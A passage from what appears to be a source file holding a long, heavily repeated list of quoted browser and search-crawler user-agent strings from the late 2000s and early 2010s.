'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
'Googlebot/2.1 (http://www.googlebot.com/bot.html)', 'Opera/9.20 (Windows NT 6.0; U; en)',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)',
'Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16',
'Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13',
'Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)', 'Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7',
'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)',
'Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
'Googlebot/2.1 (http://www.googlebot.com/bot.html)', 'Opera/9.20 (Windows NT 6.0; U; en)',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)',
'Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16',
'Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13',
'Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)', 'Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7',
'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)',
'Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
